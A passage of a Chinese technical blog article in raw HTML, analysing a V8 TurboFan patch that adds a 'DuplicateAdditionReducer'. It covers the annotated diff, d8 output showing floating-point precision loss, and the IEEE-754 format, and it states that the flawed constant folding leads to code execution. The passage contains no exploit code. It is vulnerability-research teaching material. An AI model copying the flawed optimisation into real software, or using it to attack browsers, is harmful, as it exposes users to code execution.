!important;">(&amp;graph_reducer, data-&gt;graph()</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>+                                              data-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">common</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>)</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>@@ <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">-1318</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">6</span> +<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1321</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">7</span> @@ <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">struct</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">TypedLoweringPhase</span> {</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>                                          data-&gt;js_heap_broker(), data-&gt;common(),<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>                                          data-&gt;machine(), temp_zone);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>     AddReducer(data, &amp;graph_reducer, &amp;dead_code_elimination);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>+    AddReducer(data, &amp;graph_reducer, &amp;duplicate_addition_reducer);<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">TyperLowering</code>中增加了一个新的裁剪器<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">DuplicateAdditionReducer</code>，我对补丁中做了一些注释信息：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span>--- /dev/null<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>+++ b/src/compiler/duplicate-addition-reducer.cc<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>+Reduction DuplicateAdditionReducer::Reduce(Node* node) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>+  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">switch</span> (node-&gt;opcode()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>     <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 遍历到IrOpcode为kNumberAdd的node</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>+    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">case</span> IrOpcode::kNumberAdd:<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>+      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> ReduceAddition(node);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>+    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">default</span>:<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>+      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> NoChange();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>+  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>+}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 检查当前结点的控制、数据、管理 Input的个数</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>+  DCHECK_EQ(node-&gt;op()-&gt;ControlInputCount(), <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>+  DCHECK_EQ(node-&gt;op()-&gt;EffectInputCount(), <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>+  DCHECK_EQ(node-&gt;op()-&gt;ValueInputCount(), <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>+<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 取出左结点，检查左结点的opcode是否也为kNumberAdd</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>+  Node* left = NodeProperties::GetValueInput(node, <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>+  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (left-&gt;opcode() != node-&gt;opcode()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>+    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> NoChange();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>+  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>+<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 取出右结点，检查右结点的opcode是否为常数类型</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>+  Node* right = NodeProperties::GetValueInput(node, <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>+  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (right-&gt;opcode() != IrOpcode::kNumberConstant) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span>+    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> NoChange();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>+  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span>+<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 继续取出左结点的左右父节点，要求父右结点的opcode为常数</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span>+  Node* parent_left = NodeProperties::GetValueInput(left, <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span>+  Node* parent_right = NodeProperties::GetValueInput(left, <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span>+  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (parent_right-&gt;opcode() != IrOpcode::kNumberConstant) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span>+    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> NoChange();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">37</span>+  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">38</span>+<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">39</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 取出右结点、父右结点的常量const1、const2</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">40</span>+  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">double</span> const1 = OpParameter&lt;<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">double</span>&gt;(right-&gt;op());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">41</span>+  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">double</span> const2 = OpParameter&lt;<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">double</span>&gt;(parent_right-&gt;op());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">42</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 创建opcode为常量的，且值为const1 + const2，的新结点new_const</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">43</span>+  Node* new_const = graph()-&gt;NewNode(common()-&gt;NumberConstant(const1+const2));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">44</span>+<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">45</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 替换当前node的右结点为new_const，左结点为父左结点</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">46</span>+  NodeProperties::ReplaceValueInput(node, parent_left, <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">47</span>+  NodeProperties::ReplaceValueInput(node, new_const, <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">48</span>+<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">49</span>+  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> Changed(node);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">50</span>+}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">根据补丁信息，是对<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sea of nodes</code>中当前op为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">kNumberAdd</code>的node，做了如下4种情况的判断（图片来自Introduction to TurboFan）：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.6921487603305785" title="" data-type="png" data-w="968" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=ab34ade9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcykbgpf6jFDP0EFaE9JSVUANiaAuFias9brRIt8BUdibt08Q5SdE8pnNUQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">当node通过了上述的4种条件的检查，则对状态4的图做如下优化<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.37293388429752067" title="" data-type="png" data-w="968" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c199dd05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcOk98XjTW9eAibQ9ruPNGkb9nicfEcBMYPb5qTUHsDOhJr6ibuTlwkXbLw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">综上，其实是做了一种类似如下的优化</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span>n + const1 + const2 =&gt; n + (const1 + const2) =&gt; n + const3<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">看似是合法的加法结合顺序的调整，其实引入了浮点数IEEE754编码的精度丢失问题，最终导致了代码执行。</p><h2 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.4em;margin-bottom: 2em;margin-right: 5px;padding: 4px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">漏洞分析</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">在d8 shell执行如下代码，可以清晰的看到精度丢失的问题</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> var x = Number.MAX_SAFE_INTEGER + 1</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>undefined<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> x</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>9007199254740992<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> x + 1</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>9007199254740992<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> 9007199254740993 == 9007199254740992</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>true<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> x + 2</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>9007199254740994<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> x + 3</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>9007199254740996<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> x + 4 </span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>9007199254740996<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> x + 5</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>9007199254740996<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> x + 6</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>9007199254740998<br/></code></pre><h3 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.3em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">IEEE-754编码浮点数精度丢失</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">IEEE-754编码图示<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.20119225037257824" title="" data-type="png" data-w="671" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=a9e653d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcjcT7XnRKnSAk8YbiaburNBE1ibmasHHoHvuv6VITzS9qAsEd5SS1G29Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">V8使用IEEE-754编码浮点数，这意味着一个数字只有低52bit是用来作为value编码，因此ieee-754的最大值为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">pow(2, 53) - 1 = 9007199254740991</code>。比这个数值大将会导致精度丢失，如上面在d8 shell中执行的一致。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">我们分析一下导致精度丢失的原因。64bit的IEEE-754包括1bit的sign符号位，11bit的exponent指数位，52bit的fraction尾数位。计算IEEE-754数值的value，遵循以下公式</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 对introduction to turbofan的公式略作一点修改</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>value = (<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">-1</span>)^sign * <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>^(e) * fraction<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>e = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>^(exponent - bias)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>bias = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1023</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">64</span> bits doubles)<br/><span style="font-size: inherit;line-height: 